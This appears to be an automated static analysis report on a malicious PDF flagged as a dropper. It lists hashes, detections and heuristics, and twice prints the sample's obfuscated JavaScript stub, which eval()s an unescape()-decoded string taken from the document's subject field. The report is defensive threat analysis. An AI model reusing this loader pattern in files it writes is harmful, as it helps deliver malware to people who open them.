Malicious PDF — malware analysis report

Static analysis result for SHA-256 394697709d64e655…

MALICIOUS

PDF

2.1 KB First seen: 2012-07-12
MD5: f0324e747d56ba029bcd2e27ce3727e0 SHA-1: bb0004703c72ceb404d006471aacbcfb3887fc0d SHA-256: 394697709d64e655a0abb7fc83f470698e6018c40b19de37b21d2c89c77ca67b
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file was flagged by ClamAV as Pdf.Dropper.Agent-7250277-0. Static analysis revealed embedded JavaScript with heavy obfuscation, including eval() and unescape() calls, indicating it's designed to download and execute a secondary payload. The ML classifier also strongly indicated maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • ClamAV: Pdf.Dropper.Agent-7250277-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7250277-0
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/eval(/*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/unescape(/*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/this.subject.replace(/Pu/g,String.fromCharCode(10+7+20)).replace(/Ji/g,'0')/*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/)/*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x73C 332 bytes
SHA-256: 9864171cc4152f5d3e5671809dd40cebe1cf9319d0b8bfb0abd003cff50482db
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/eval(/*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/unescape(/*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/this.subject.replace(/Pu/g,String.fromCharCode(10+7+20)).replace(/Ji/g,'0')/*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/)/*u4d1Z5j4FzsT1B <Kgl5TnjQQeR> Op4TRqn6EmT9oTE*/);

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